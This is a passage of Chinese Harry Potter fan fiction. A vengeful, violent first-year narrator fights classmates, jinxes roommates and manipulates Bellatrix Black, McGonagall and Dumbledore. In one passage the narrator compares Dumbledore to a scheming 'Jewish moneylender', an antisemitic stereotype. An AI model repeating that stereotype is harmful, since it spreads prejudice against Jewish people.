一而再再而三的敷衍令我怒不可遏,当时的表情也一定十分恐怖。列车正穿越一片阴云,车内的光线变暗了,不远处传来咣当一声,像是在敲响某种警钟。
那个男孩想过来抓我,我便扯过他的胳膊,死死地往桌面上压。疼痛折磨得他大声尖叫,布莱克家的二小姐也在叫,只有贝拉没有动作——我防着她呢。过了好久,久到车厢外围了一圈人,好几个近成年的小伙子把我从车厢里拽出来,我抓他们,咬他们,心里恨得要杀了他们。
只是,愤怒之后我所感受到的不是恐惧,而是“快乐”——惊人的快乐。这种乐趣超脱一切,口腹之欲也好,金钱之欲也罢,全部都比不上此时此刻我喘息之间那种令人浑身发颤的兴奋。
我听到许多声音,有骂我杂种,有说疯子,有人幸灾乐祸地说,我打了莱斯特兰奇家的人,等上学了一定要我好看。
我不理会他们的威胁。瞪大双眼盯着列车顶,双手颤抖,好似一个奇异的耶稣从那铁皮缝隙里钻出来。我的手指开始发痒,指甲磨刀霍霍。
在我活的这十一年里,从我能听懂人话以来,这样的言语已经像影子一样与我密不可分。任何人都可以威胁我,伤害我,而我要做的就是逃避危险,切割危险降临的可能。
无论是在父母之间做传音鸟,还是农场里忙来忙去的奴隶,亦或者小镇的魔术师,山里的流浪儿,都是我切割的过程。我在其中找不到幸福,却在一次次断裂里得到奇异的安全感。等到安全感摇摇欲坠,即我收到的威胁足够多时,我就进行下一场切割。
是了,招致不幸的缘由就是切割得不够彻底。我盯着贝拉,忽然之间笑起来。
我从来没有与“巫师”进行过切割。
无论是穿着白袍子的莎拉,还是小镇上的布莱克,亦或者是我冒名顶替的魔术师和离开城镇前见到的谋杀犯,最后,是追到山里也能找到我的麦格教授。
巫师贯穿我的人生,这些在人间作恶的魔鬼为我带来不幸和痛苦。思来想去,最开始的不幸大约是我自己。
我拥有作为“魔鬼”的天赋。
这是一种贯穿于血脉,比起自我还要难以切割的深切罪恶。为什么一定是我呢?为什么我是巫师?为什么我是魔鬼?为什么上帝从来不肯眷顾我?
我的母亲不是巫师,我们之间连接的脐带里从未流淌过巫师的血,为什么我却要成为巫师?
为什么——我无法掌握自己的命运?
我陡然安静下来,甚至开始思考——命运,甚至死亡究竟是什么。
我想要的又是什么。
是晚上决定喝什么咖啡吗?
不,应该是决定回家喝咖啡的路上,经过雕像时,会不会有一块砖头忽然掉下来,砸到我的头上。
我想要切割的并非那些罪人,而是命运无常。
“啊,我知道了,我都明白了。”我站起身,恍然大悟,郑重其事地搓了搓手,却又发现除了做出这种动作之外,我又无事可做。
就像是一个被隔离在卵泡里的生命。
5. 使人和睦的人有福了
火车纷争使我一战成名,所有人都不约而同地为我空出一个车厢。我得到“疯子”的名号,以及一个潜在的敌人。
敌人越多越气派。我满不在乎地想,这些东西就像是虱子,少的时候尚为此耿耿于怀,等到多了,就无所谓了。甚至于,我能得意洋洋地说出谁曾经是我的敌人,只是后来他们死了。
我不需要忍耐,也不想从这些人身上获得什么。对于我而言,广阔天地大有所为,如果这里不再欢迎我,那我便去另一处。
想到这里,有些饿了。我总是难以忍耐饥饿的,就背着手走出车厢觅食。等到我一出门,那些原本在外面逗留的人就像雾气一样散开了,令这里空荡荡得好像只剩下我一个人。我跑到走廊尽头才找到小推车和售货员,买了充饥的食物后又晃悠悠地回去。这个过程大约三十分钟,中途没有任何人推开门。
我又在贝拉的车厢口站了一会,直到里面传来一位女士压低声音的交谈后才离开。皮鞋啪嗒啪嗒地踩在地上,声音十分有趣。
这种孤身一人的状态直到礼堂也不曾消失。我哼着牛仔们的调子,伸长脖子去看那个分派学院的魔法工具——一顶破破烂烂的帽子。
接着,帽子开始唱歌,那个声音像极了羊叫,但是并不让人讨厌。我很喜欢那个东西,想着如果能偷到手,卖出去的话能赚多少钱。
只是帽子一碰到我,就大叫‘现在到底是什么年代’,念叨着自己老了,怎么一切又回到中世纪了。我就问它,我应该去哪里。
它说,依照我的道德水平,去哪里都不太合适。
‘那么,您要送我去坐牢吗?’我可怜地说道,‘没有人教过我,怎么成我的错了。帽子先生或者女士,如果我软弱一点,现在你就只能见到一具小小骷髅在这里抹眼泪了。’
帽子陷入沉思,过了好久,久到我开始研究皮鞋上有几条裂纹,厌烦了后盯着小莱斯特兰奇和布莱克们不怀好意地笑,它才开口:
“拉文克劳”
这声音沉痛惋惜至极,又对我说:‘你念书之后,做个好人吧。’
‘我努努力。’
我做到那个什么“拉文克劳”的长桌上,吃过饭后又被领着爬上高高的塔楼,觉得胃里的食物都要被颠出来了。回到寝室时,那些被迫与我共处一室的孩子脸上满是惧怕,唯恐我突然跳起来咬她们几口。
实际上,她们的担心不无道理。我讨厌巫师,从火车上挥舞拳头的那一刻,我就恨透这帮人了。这种恨意来自恐惧,就像是活在父母阴影下的我看见戒尺那样。
但是我不能表现出恐惧,我必须把它们转化成愤怒、怨恨以及唾弃。就像是面对贝拉对我的敷衍那样,我不明白她为什么那样对待我,但是我知道她脱离我的掌控,所以,我对她仅存的那一点好意也消失了。
她敷衍我,我就把她当做小镇上我怨恨的平平无奇的一员;那个男孩拿东西砸我,他就是攻击我的一员。没有人能够毫无代价地伤害我,我要让所有人都知道,我是坏且危险的。
我是弱小的野兽、无助的野兽、胆怯的野兽,但我也可以的是凶狠的野兽、暴怒的野兽、残忍的野兽。我沉迷于争斗,热切地表现愤怒与憎恨,本质上是弱小与恐惧。
想到这里,我久违地感到难过。一个人平躺在床上,瞪大眼睛聆听另外几个孩子逐渐变浅的呼吸。她们都睡着了,我却睡不着。我坐起来,狠狠盯着对面床铺,却又不知道自己应该做什么。
打她们吗?骂她们吗?让所有人都不得安宁吗?
不,她们不需要我,我们之间没有任何利益关系;她们也不爱我,我们之间没有情感关系。我恨陌生人,却不会对陌生人做些什么,她们也只是陌生人。
我跑下床,抱住老羊,就像在山洞的每一个日夜一样去拥抱它,抚摸它柔软的耳朵,把脸埋进它的脖颈。略扎的毛发令我的心绪逐渐被抚平,进入陌生环境后的不安消退了些。我们看见星星——羊和我,和世界上数十亿人都能看见的星星。
“你害怕吗?”我小声问它。却也不必等到它的答复,因为提问的对象并不是它,而是我自己。我在向我心中那只惶恐的野兽提问。
*我害怕*
我听见它说。
那就继续生气,继续怨恨,让怒火烧起来,不计后果地烧起来。我想:反正我本来就一无所有。
出生在这个世界上非我本愿,这个世界就是地狱,我在受苦,无数人也在受苦,我非唯一苦者,而是千万苦者之一。至于另一世界,是否也是同样痛苦呢?这大概就是人的“原罪”了,因为罪所以才在这里受苦,但是原罪又如何洗去呢?生活在这个痛苦的世界的我们每天又在创造罪孽,只能等待一场大审判或者洪水。
所以,我的生活又变成一个迫不得已的作恶的过程,只是做小恶与做大恶的区别。所有人都经历这个过程。恨意在这种情况下就来得轻而易举,甚至格外合理。
在进行一番自我说服之后,我心安理得地回到床上,睡得十分好。没有做梦。
第二天醒来,我的鞋子消失了,有点糟糕。虽然它旧了、破了,但是,因为是我唯一的鞋子,我还是爱它的。
唉,光脚出门吧。
我套上袜子,摇摇摆摆地走出寝室进行今天早晨的捕食行为。巫师袍子很长,大家也看不到我究竟穿没穿鞋。就像小时候我还有家庭时那种状态般,只要没被发现,那么那些*不得体*都是可以容忍的。
大约我也可以成为一位“糊弄学大师”?
我早上吃得很多很多,直到胃里塞不下一点才停止。离开礼堂的时候,麦格
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教授叫住我,她问我鞋子去哪里了。
她是怎么发现的!
我瞪大双眼,肌肉绷紧,如果她想要罚我,我就立刻逃走。
“我的鞋子不见了!”我尖声说,“我在哪里都找不到!它是自己不见的!”
麦格教授愣了一下,脸上的皱纹似乎也垂下来,那双盛满诧异的眼神透过镜片,默默从我脚面上移开。我注意到,她尽量将视线放在我身上,却又不在我的脸上,她回避我的脸,我的眼神、我身上一切裸露皮肤的地方,最后,她凝视我的校徽。
“跟我来吧,加尔小姐。”她说。
“你不能罚我,这不是我造成的。”我继续反抗。
“加尔小姐,”她抬高语气,“我带你换一双鞋子。”
我的声音陡然消失,她在怜悯我,还是想和我做一个交易?她的鞋有多贵?
“我没有多少钱,我的钱全在那个虐待我的老虔婆手上。”我说,“我好小的时候,她对我不好,我每天都有做不完的农活,所以我逃走了。我现在身上每一分钱都要省着花。”
“我很穷。”我诚恳地告诉她,如果她要卖给我鞋子,那我宁可光着脚。
“不用你花钱。”麦格教授叹气。
“那你要什么?”我问她。免费的才是最贵的。
“我需要你保管好这双新鞋子,然后好好去上课。”这位女士带我去她的办公室,变出一双鞋子给我换上。我一直揪着自己的袍子,感觉到皮都在被剥下来,心里堵得慌。
“好吧好吧。”我干巴巴地说,“女士,感谢您,上帝会保佑您。”
“你应该称呼我为‘教授’。”她说。
“好吧,上帝会保佑您,教授。”
我又重复一遍,这一次顺畅多了。
新鞋子很漂亮,我坐在办公室里不想离开,晃了晃脚,“教授,我喜欢这个蝴蝶结。”
她点点头。
“教授,你有小孩吗?”
“没有,加尔小姐。”
“教授,这是你小时候的鞋子吗?”
“不是,加尔小姐。”
“教授,你为什么一直叫我‘小姐’?”我朝她笑,从椅子上跳下来,跑到她身边,“您可以叫我‘魔术师’。”
见她不回答,我接着说:“我真的做过魔术师哦,只不过后来马戏团被烧了。啊,对了,你知道吗,那会团长爱上了驯兽师,但是驯兽师不是团长的妻子。他们经常在兽笼里——”
“我不想知道马戏团的故事,加尔小姐,你应该去上课了。”她急忙打断我,我跺了跺脚,只能说:“好吧,再见,教授。”
我跑出去,前往教室,朝我的几个室友露出新鞋子,得意地笑了笑。
晚上,我要把她们的鞋子全部丢进黑湖里。
6. 饥渴慕义的人有福了
计划很成功,霍格沃茨的生活很美好。每天都在和同学斗智斗勇,吃得饱饱的,爬很高的楼。
只可惜,我的课业很糟糕。我是个很多年前就辍学的孩子,能让一个十一岁的小孩用上“很多年”这个形容词,那就可以说——我连小学都还没有读完,拼写都有些困难。
唉,这也不奇怪,就算读完,我也不是聪明的那一类。
我的妈妈总是说,我是妄想家,每天就在头脑里琢磨些不知所云的东西,看不到将来。要我说,如果我知道后面我会遭遇这些事情,还不如直接不要出生。
我从公共休息室的箱子里找回鞋子,就把麦格教授送我的那双藏起来了。麦格的鞋子很好看,我非常喜欢,所以舍不得穿,还是穿回旧的更安心。
与室友们互相攻击的行为也没有停止,我可以晚上不睡觉,但是她们做不到。我脑海中有许多刻毒的点子,但是她们没有。
比恶毒,这世界上还没有几个人能胜过我。我十分擅长那些折磨人的小咒语,甚至稍微变化一下,我就能联想到其之后那些更本源的威力更大的黑魔法。我将这些术法施加在她们的衣服、首饰和书本上,这些人防不胜防,最后都去了医疗翼。
至于院长来找我,我便瞪大双眼,质问他为什么她们可以欺负我而我不能反击。
他严肃地教育我,为了一点小事不至于上升到伤害同学的程度。但是管他呢,他们让我不高兴了,我就要报复回去,这是我生存的法则。
我讨厌老院长,这个头脑不清楚的家伙。他不喜欢我,哪有别人能欺负我我却不能反击的道理,我就趁他关我禁闭时,往他喝的茶水里下药。他的办公室里有什么我就放什么,造成的后果也全由他自己承担。院长去了圣芒戈,校长便暂代他的课程。
校长叫做邓布利多校长,麦格教授很喜欢他。我以为他们是情侣关系,就去问教授,要不要盯着邓布利多校长。我说过会报答她,我也愿意帮她监督伴侣的忠诚。
麦格教授被吓了一跳,她严肃地向我解释她与邓布利多并非情侣——而是朋友关系。
“那需要我帮你盯着他,看他有没有说你坏话吗?”我问。
“不需要,加尔小姐,你好好念书就行。还有你的作业——”她咳嗽一声,“我不得不建议你去重新学习拼写和——”
我痛苦地抱住头,扑在她的膝盖上,“不要啊,教授——施咒又不考验拼写能力。”我抬起头,可怜兮兮地说,“学院里那些人一直打扰我,不让我写作业,影响我学习。对了,对了——教授,我能不能去格兰芬多。”
“拉文克劳欺负我,我不喜欢那里,他们都说我是蠢货,我讨厌那里!”
麦格教授在我哭声里把我从她的袍子上撕下来,她拒绝我。我怒火中烧,捂着脸,跑出办公室。
既然才跑下格兰芬多的塔楼,我是疯了才会一口气跑上拉文克劳的塔楼。所以,我想着已经好久没见过贝拉了,现在拉拢一位斯莱特林的朋友也未尝不可,就一口气下到底,像一阵风一样狂奔向斯莱特林休息室。
路上,我碰见老头模样的校长,狠狠闭起嘴巴才止住那些刻薄的形容词从嘴唇里冒出来。我隐忍地露出乖巧的表情,向他问好。
“校长先生中午好。”
没等他回答,就消失在楼梯后。
邓布利多盯着我,他肯定也讨厌我,就等着抓我的错处,把我赶出这个有吃有喝的大房子。太可恶了,他还是校长呢,竟然这样对待我这么一个穷学生。
可恶至极!
心里默念过一千遍“莫欺少年穷”,又诅咒他老年痴呆之后,我才畅快地驾临地窖。
斯莱特林当年大约和那些不讲道理的奴隶主一样专制蛮横,竟然让学生住在这种关奴隶的地方。而那些自认为血统高贵却像野兽一样近亲交/配的巫师竟然也能接受居住于此。
我心底百般嘲讽,觉得他们实在野蛮且愚不可及。又惊讶于我们的社会竟然掌控在这样一群人手里。
那些有权力的,自认为至高无上的大人物,得到拥戴之后想到维持优越感的方式竟然是乱/伦,让他们的小孩、亲戚随意交/配,实在是骇人至极!
可惜了,没有蹲到贝拉,反而被那个什么罗道夫斯·莱斯特兰奇打了一顿。一个三年级打我一年级的,好不要脸。我决定晚上蹲在他的必经之路上放暗招。
我消失了一个下午,最终在傍晚时被校长抓住。他站在高高的楼梯上,问我为什么要藏在斯莱特林休息室入口附近。
我对他扯了许多谎,结果不尽如人意。那双可怕的锐利的眼睛像是早就看穿我的表演。但是他不会像我一样,抓到别人的把柄就大肆宣扬,狠狠勒索一番。我觉得他很像是那些放贷的犹太佬,静静等着债务的雪球越滚越大,再一举收债,好叫人家破人亡。
十分邪恶!
我开始思考,像我这样一个信誉不佳的家伙,在这个犹太佬的账本上如今记了几笔呢?
邓布利多对我说:“加尔小姐,您的父母都去世了吗?”
“都死了,怎么了?”我仰着脖子问他。后来觉得这样的视角实在不好,就从雕像后面走出来,跑到台阶上,站在他身边,“难道你的父母都还活着?”
老人愣了一下,随后竟然也不生气,而是平静地告诉我:“他们确实已经离世了。”
“我已经接受了这一悲剧的发生。”他说。
我点点头,我当然也接受了。当然,不接受也没有什么办法。我安慰道:“没事的,我的爸爸妈妈也死了,我们都是一样的。您要是想您的父母了,就想想世界上还有那么多人同样失去了父母——”
把痛苦扩散出去,就不会那么痛苦了。实在不能,还可以安慰自己:这一切都是上帝的旨意。
上帝实乃一剂良方。
我见今日揍罗道夫斯的计划恐怕是要落空,就顺口邀请邓布利多校长去河边走走——当然不是打着将这个老头推入水中的主意,虽然我也想过一瞬——我希望能够和他开诚布公地谈谈。
我模仿着成年人的语气,校长竟然也答应了,这
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令我有些喜欢他。只是喜欢之后,又开始暗中警惕,他不会是想把我推到河里吧?
一场毛毛细雨在下午落在黑湖旁边的树叶上,我的鞋子踩到半腐烂的树叶后,发出叽叽咕咕的声音。吸饱水的皮革像是一块发胀的海绵,这个声音十分有趣。
邓布利多显然也听到了,他开始不动声色地往远离水坑的地方走,如果我要跟着他,这个伴随我二人的声音也将消失。
于是,我问道:“校长先生,我皮鞋的声音令您感到难堪吗?”
他盯着我们走过来的水坑沉思片刻,紧接着,像是陷入某种回忆后恍然大悟般对我说:“以前,我的兄弟也会像你一样。”
“是的,一样。”我说,“所以,这让您觉得难堪吗?”
“不,这是小孩子的乐趣。”
是的,乐趣!我的眼睛亮起来,心底将对他的偏见一扫而空。我说:“我们想得一样,我也觉得很有趣。”
这时候,我觉得邓布利多校长那张皱巴巴的脸也变得可爱起来。他和其他人不一样,我想,他和我是一样的。
于是,我就问他是否有什么烦心事,我愿意为他效命。
他装模作样地想了一会,就问我:“我的心中一直有一个疑惑,加尔小姐:如果有一个孩子之前一直一无所有,当他拥有魔法之后,他想要拥有什么呢?”
“一无所有?”我问,“这个人是谁?和我一样,我可以去认识他吗?”
“他已经毕业离开了。”校长敷衍道。
“那你应该已经知道他拥有什么了。”我指出,“你一定也像盯着我一样盯着他。让我猜猜,他是个坏家伙对不对?”
邓布利多眨眨眼,没有说话。我继续分析:“他和我很像,没有父母,还很穷,在学校里受到欺负,说不定还反击了。我知道,你们这些教授、校长都是一路货色,只允许人受欺负,不许人还手。”
“我可没说过这种话,加尔小姐。”他立刻反驳道。
“不,你的心里就是这样想的。”我说,“他一定很委屈很痛苦。痛苦是需要纾解的,要么伤害自己,要么伤害别人。伤害自己的大多都默默无闻,只有伤害别人的时候,叫声才能吸引人的注意。他一定惹出过大乱子,甚至——死人了,对不对?”
邓布利多没有打断我,也没有回答我,我想,我知道他说的是谁了。
“汤姆·里德尔——他举报过一起怪物杀人案。我关禁闭的时候擦过这个家伙的奖章。他是一个孤儿,麻种,名声好得不得了。校长,您是想和我说:实际上,他和我一样是个混蛋吗?”
我的眼睛里闪烁着兴奋的光,像是嗅到老鼠气味的猫一样,饱含恶意地揣测着这位“好学生”。麦格教授总是在我推脱自己是孤儿所以学习不好的时候拿出这位里德尔先生来压我,如今,我找到一份污点,当然要拿着泥巴往这尊金光闪闪的偶像身上糊。
只是,看着邓布利多校长的表情,这位里德尔像是真犯了一点事。
“他真的杀人了?”我兴奋地叫道。
7.温柔的人有福了
“小声些,加尔小姐。”
鼠与猫的身份一瞬间逆转,一位真正的猫站在我的身后,发出的声音令我汗毛倒竖。当着校长的面,我立刻变幻成乖巧的表情,跑到麦格教授身边,讨好又得意地向她说出我与校长的推理游戏。
我天才般的推理结果令这位女士感到震惊,她看向邓布利多校长,却在校长的沉默中再次陷入沉思。
“这只是我的怀疑,米勒娃。”校长说。
“这也是我的怀疑。”我大声说,“教授,那个里德尔是个坏蛋,我们不能学他!”
我虽然做过小偷、骗子、纵火犯,但是相比起杀人这项罪行,还是颇为仁善的。不过,真正令我得意的是,我终于发挥过一回“拉文克劳式”的智慧,仅从校长的只言片语,就破解一场未发生的言语打压。
我太了解这些自以为是的教师想修理手底下的小孩时会采用的方式了。一个设想出来模棱两可的模板,一点点诱导的提问,就好像把我的未来彻底钉死在一个可能性上了。
我自己都尚不能掌控自己的命运,难道凭借他们的三言两语,就能够做出什么改变了吗?还是说,他们一个个长大了,就变成大预言家,能看出所有小孩的未来?
即使如此,又是谁赐予他们改变他人命运的能力呢?
所以,既然校长先生喜欢设想,喜欢装模作样地与我共情,那么我就真正地抛出一个现实的例子,与他彻底共情。
他很高兴,不是吗?
我也很高兴,我们【一样】地高兴。
我不在乎这位里德尔先生受过什么委屈,也不在乎他是不是真的杀了人。只要能让我脱离校长言语训导,那么,我想这位被邓布利多校长怀疑过的里德尔先生知道了,也会很欣慰吧。
说不定他还能大谈特谈杀人心得——罪犯嘛,我了解的。
所以里德尔先生在我这里就确实杀过人。
麦格教授大约是出于怜悯,最近一直盯着我。我从她那里得到不少好处,也如约定般对她保持忠诚。我监视格兰芬多里的刺头,一旦他们做了什么坏事,就一溜烟跑去教授处打小报告;或者用本子记下来,每周集中汇报。
正因此,我也算是半个格兰芬多。
我知道教授和校长因为我的问题讨论过许多次。麦格教授总是觉得我只是没受过好的教育,本质上还是个聪明懂善恶的孩子;至于校长,他应该是出于曾经里德尔先生的教训,对我盯得格外紧。
好哇,这样一想,里德尔还亏欠我不少!
等我长大了,离开这里,一定要向他讨回来。
我愤愤不平地想着,被麦格教授打发回去看书。她近日让格兰芬多的级长盯着我念书,我讨厌她!
回到城堡,我先是在拉文克劳溜了一圈,等到饿了就跑下楼去礼堂用餐。如今,我确认了每天都能吃饱饭之后,就不会一餐吃很多很多了。这样规律的生活令我感到更舒服些,刚进入城堡时的惴惴不安也少了许多。
拉文克劳的长桌自我来了之后安静一瞬,很快又热闹起来。大家都热切地盯着餐盘或者自己的朋友,给我空出一个视线与食物双重空缺之处。
“让一让!”我挤进一对正在交谈的男女中间,端着盘子取走他们面前的土豆饼,丝毫不受影响地吃起来。我还吃了许多许多好东西,觉得这是天使过得生活。
以往,在农场里,我的姑妈对我说:天使一天只吃一餐,凡人是两餐,只有恶魔才会吃三餐。
她希望我能够像天使靠拢,我却觉得她才是恶魔。我饿得厉害,头晕眼花,无论如何哀求讨好,她也只会用木棒打我,赶我去工作。
这只贪婪的恶魔实在是可恶至极!
恶魔在于享受,这个世界上谁不想过更好的生活呢?所以这个世界上过着好生活的都是姑妈那样的恶魔。我仇恨所有恶魔,我也是恶魔,想过上好日子的恶魔。
吃完饭之后,我又溜达到斯莱特林休息室门口。在转角处狠狠给罗道夫斯·莱斯特兰奇少爷来了一下。少爷本人因此住进医疗翼,我也不幸住进去,我和少爷住在一样的地方,想必少爷心里也不舒服。
他半夜睁着眼睛直哼哼,声音像狗一样。我忍不住笑出声。
他愤怒地问我到底在笑什么。又说我简直是一只藏在草丛里的蛇。
“如果您不把您那只高贵的脚探进草丛,又怎么会惹到毒蛇呢?”我说,“您的脚就应该踩在硬化之后的路面上,少爷,人生处处是危险,您应该走到您父母为您铺设的最安全的路上。”
他十分不服,想爬起来,却牵扯到身上的伤口,只能哎呦哎呦地叫唤。
我噗嗤一声笑出来,却觉得黑暗里有什么东西正盯着我。
收敛起笑容,我一边祈祷最好别是格兰芬多那群混账来找麻烦,又觉得可能是拉文克劳的那帮胆小鬼。心里把所有仇人都排查一遍之后,我才小心翼翼地抬起眼皮往方才衣料反光处看去。
人已经不在那里了。
这种发现当然不能使我内心归于平静,反而像是在赶紧的家里发现一只老鼠或者蟑螂,恰好,此类令人恶心的生物却在自己眼皮子底下溜走了。
它一定在房间里。
我保持警惕度过上半夜,又在警惕中度过下半夜。无事发生后,恼怒地再次殴打即将出院的莱斯特兰奇少爷。
出院即入狱——关禁闭。
我是禁闭常客了。在我发现禁闭并不能对我造成什么影响,甚至能在我忙活完工作之后,给我留下很长一段时间探索城堡后,我在段时间里踏入殴打同学——禁闭——殴打同学——这样的循环。
殴打同学只是关禁闭的手段罢了。
当我再次进入医疗翼,装作痛到悄悄抹眼泪时,终于抓到蟑螂——不,应该是隐匿于黑暗中的黑小姐。
当时我直接掀被而起,将准备逃走的贝拉小姐扑倒在地。
“是你啊,贝拉。”点亮灯后,看见贝拉的脸,我说
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道。
贝拉特里克斯·布莱克小姐紧张地注视着我,她的眼中甚至有着期待的神色。她想看见什么呢?
向我这样的一个“麻瓜”感激涕零甚至摇尾乞怜吗?
就像我们小时候一样?
见到她的脸,甚至真正确认到是她,我反而觉得有些无聊了。我已经没有与富家小姐玩什么慈善游戏的心情了。富小姐再富有,能够给我的也不过是食物和金钱——这些在我幼时十分稀缺,如今却又能够轻而易举地得到。
现在,我想一想,我想要朋友、袒护和爱。
富小姐只是富小姐,她和我一样是学生,一样是这座城堡里的底层生物。她不会成为我的朋友,这一点在车厢中已经得到证实,光是认识我,喊出我的名字都会令她感到羞耻。
至于袒护,一个学生,三年级的学生能袒护我什么?把作业给我抄吗?或者代替我写作业?
我抄了她的作业,第二天就会被教授们发现,因为我变得有文化了。至于代替我写作业,更是万万不能,还是一样的,她太有文化了。
至于爱——
我盯着这位小姐,忽然想到一个好主意——一个无与伦比的、热闹的好主意。我不需要贝拉的爱,但是我想要报复她,我恨她,恨她背叛我逃走,恨她的父母,恨他们所有人一起瞧不起我。
现在,这位懵懂的,良心未泯的贝拉小姐正期待我的回应。
“哎呀,贝拉!”我立刻抬高声音,扑到她怀里,“你带什么好吃的来看我了?”
贝拉特里克斯·布莱克小姐的胸口十分柔软,她的皮肤滚烫,心脏在骨头与肌肉的包裹中充满活力地跳动。但是她的身上并没有食物的香气,我能闻出来,可我仍然问了那个问题。
小姐的身子僵了僵。“没有。”她干巴巴地说,接着,又很自然地换上一副恼怒的神情指责我,“你晚上吃得还不够多吗?”
“足够多吗?”我反问她。
或许是语气过于正常,又或者脸上困惑的神情十足真实,我的疑问令她无所适从。她推开我,站起身子。月光透过半拉起的窗帘照在那张苍白的脸上,黑色的发丝与阴影融为一体,厚厚地盖在那具纤细的身躯周围。
空气里还有湖水带上来的潮气,月光令地板看上去油光发亮,走起路来都要打滑一般。我也站起来,坐回床上。
在这个过程中,她一直斜着眼偷偷观察我,等到我望过去,她的双眼便目视窗户。我们两个许久都没有说话。
沉默是一件很正常的事情,特别是发生在麻种与纯血种之间。
“噗嗤。”我突然笑了一声。
麻种与纯血种,听上去就像是没有血统认证的本土猫与品种猫。哎呀呀,听起来真是道德沦丧——难道世界上还有一个人类血统认证机构不成?
“你为什么要来看我?你又喜欢我了?你不害怕你的那些朋友了?还是说,你终于和那两个老家伙闹翻了想来投奔我了?”我问她。
8.为义受逼迫的人有福了
“我从不害怕他们。”贝拉说。
“但是你和他们在一起时都不和我说话,贝拉,你就是在害怕他们。”我指出这一点,却见布莱克小姐脸上浮现出一丝傲气。
她颇为自豪道:“我是‘布莱克’。”接着,又像是怕我不能理解一样,继续解释,“就像是你们麻瓜里的‘乡绅贵族’,你懂得吗?就是那种在镇子上有好名声、有钱,管着你这种小麻瓜的人。”
“是这样吗?”我问她,“你竟然这么厉害,那为什么只能趁着晚上大家都睡觉的时候才来看我?”
“贝拉,你违反宵禁也要躲着你的纯血朋友,因为你害怕他们。”
“我不害怕他们!”
“你害怕。”我站起身——站在床上,高高地从上往下俯视她的脸,接着,又伤心地哭出来,“你总是丢下我,你害怕他们,就是这样的,你们自己有一套秩序,那种秩序里没有我这样的小麻瓜对不对?好不公平,贝拉,乡绅还有小麻瓜跑腿,而你却一而再再而三地丢掉我,然后还狡猾地过来看我。”
“你想让我追着你跑,但是你却不愿意回应我,因为你觉得我是不好的,是坏的东西对不对?”说着说着,我更伤心了,“我也没有办法选择呀,贝拉。如果我能够选择的话,我会变成现在这个样子吗?”
“而且我打莱斯特兰奇兄弟,我追着你跑了好久好久。你说你住在伦敦,我从农场跑出来就去伦敦找你,我一直没有找到你,身上所有的钱都花完了,只能在全国流浪。”我语无伦次,指责她道:“你才是坏人——全世界最大最大的坏人!”
贝拉特里克斯瞪大双眼,她咬紧牙关,骨头从她瘦削的脸上支出来,好半晌后,她说:“你怎么说这么多话。”
“你说这么多话做什么?是想说我对不起你吗?”
“难道你对得起我吗?”我不可置信,完全不能理解此人为何如此厚颜无耻。
“我对你还不够好吗?”她咬牙切齿,“我甚至过来看你!”
天哪,她过来看我难道变成什么大恩德了吗?我攥紧拳头,恨不得扑上去把这张臭脸挠花。无论如何,我是做不到向这样一个傲慢的家伙摇尾乞怜。
我哭得更大声了,脑中却在抉择究竟应该怎样处置这只被抓到的老鼠。
“好了,够了。”
就在我准备重拳出击的时候,贝拉忽然烦躁地打断我。她坐在床边,双手抱在胸前,十分不满道,“明天开始,你可以和我一起行动,满意了吗?”
我止住哭声:“明天我还出不了医疗翼。”
“贝拉,明天你能来送吃的给我吗?”我握住她的手,“我好想回到小时候呀。”
依偎在她的肩膀上,我整个人半挤在她原来落座的地方,我们二人皮肤相触之处被不断挤压。我笑出声来,只觉得好像融为一体一般。
贝拉特里克斯是一个体面人,或者说,自认为的体面人。这类人最重视自己在他人眼中的评价。她要做到最“好”,他们秩序里的最好。
他们掌握秩序,却又被秩序掌握。想做好人,却又被脑中魔鬼念叨着做些出格的事情。
我寻找她,就是在给她一个秩序上的压力,她必须回应我,而不是像个坏蛋一样告诉我“我对她的情感不重要”。她既然过来探望我,就是还对我有感情——无论这个感情是什么。
像是了解到什么般,我晃晃脑袋,又想到那个令我的母亲大惊失色的女人。她送我的父亲回家,令我的母亲惊惧万分。
如今,我也要做这样的女人了。
或许将我与贝拉套进“爱情”的模板里是错误的,但是我也想象不出什么类似的关系了。我的人生就是这样度过——看男女偷/情,挑唆,引发无休止的争斗。
这或许不正常,又或许正常,谁知道呢。
事已至此,贝拉只能艰难地点头。我把脸埋在被褥底下,得意地笑起来。她又把被子掀开,把我们弄乱的枕头从被窝里拽出来,放在床头,叮嘱我好好睡觉,明天必须早上按时起床。如果她明天早上带吃的过来时我还没有起床的话,她威胁我,我将死定了。
我从来不在乎这种泛泛而谈的口头威胁,笑话,她总不至于打我吧。
然后,她用被子把我卷好,放在床上,和我互道晚安。
第二天早上,我睡得香着呢,脑袋就被狠狠来了一下。睁开眼之后才发现是贝拉。
她一定是在报复我!
我吃着早餐愤愤地想。
之后的日子就变得十分简单轻松。傍上富小姐的我不仅拥有的了零花钱,还有许多富小姐不用的衣服、首饰、文具和玩具。虽然许多人嘲笑我就是贝拉身后的哈巴狗,但是我不在乎,我曾经过得比狗还不如,如今当当狗怎么了?
我不想努力了!
只是麦格教授对我这种堕落的行为十分不理解,她无法想象我是怎么和贝拉搭上线的。
于是,我又将那个富小姐好心施舍穷农奴的故事又说了一遍——隐去我去火烧布莱克房子和撺掇贝拉辍学的那一部分——教授的脸上浮现出震惊又空白的表情。
接着,我又说了自己为爱走天涯的故事。
教授脸上的表情从震惊到愤慨,最后变成唏嘘不已。她多次欲言又止,似乎是想劝说我,但是最后还是沉默着,叫我注意贝拉同伙里的几个坏家伙——教授说,包括贝拉,他们都十分歧视麻种巫师。
“我知道呀,教授。”我说,“贝拉也瞧不起我,我都知道。”
她看向我,就差明晃晃地问我为什么还要和贝拉玩在一起。
“因为我爱她,她是世界上除了您之外唯一对我好的人了。”我说,“当然,我也爱您。只是......是贝拉先帮助我的。如果没有她,我可能在农场里就被虐待死掉了。”
“她对我是不一样的。”我脸上露出大概是幸福的笑容。
救命之恩无以为报,就只能恩将仇报了。
我恨她,恨得要命,嫉妒到差点要把自己的脸撕下来贴在她身上。我挤到贝拉的身边,像巢寄生的鸟类一样孱弱地发出鸣叫,偷窃属于布莱克家的那一部分财产。而贝拉呢,她是自愿的呀!
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于是,我就往麦格教授那里跑得少了。教授又忧心忡忡地劝了我几次,就像我的助理小姐一样。她们成年人大多都是这样,自己活得稀里糊涂,却总想着帮另一个人活得明白。
贝拉发现我与麦格教授走得近之后十分生气,她瞧不起对方,在听说教授送过我一双鞋之后,就给我买了两双,让我将原来的那一双还回去。
我歪着脑袋,抱着箱子把鞋递给教授。
“这是怎么了,维达?”教授有些惊讶地问我。
“贝拉叫我把鞋子还给您。”我说。
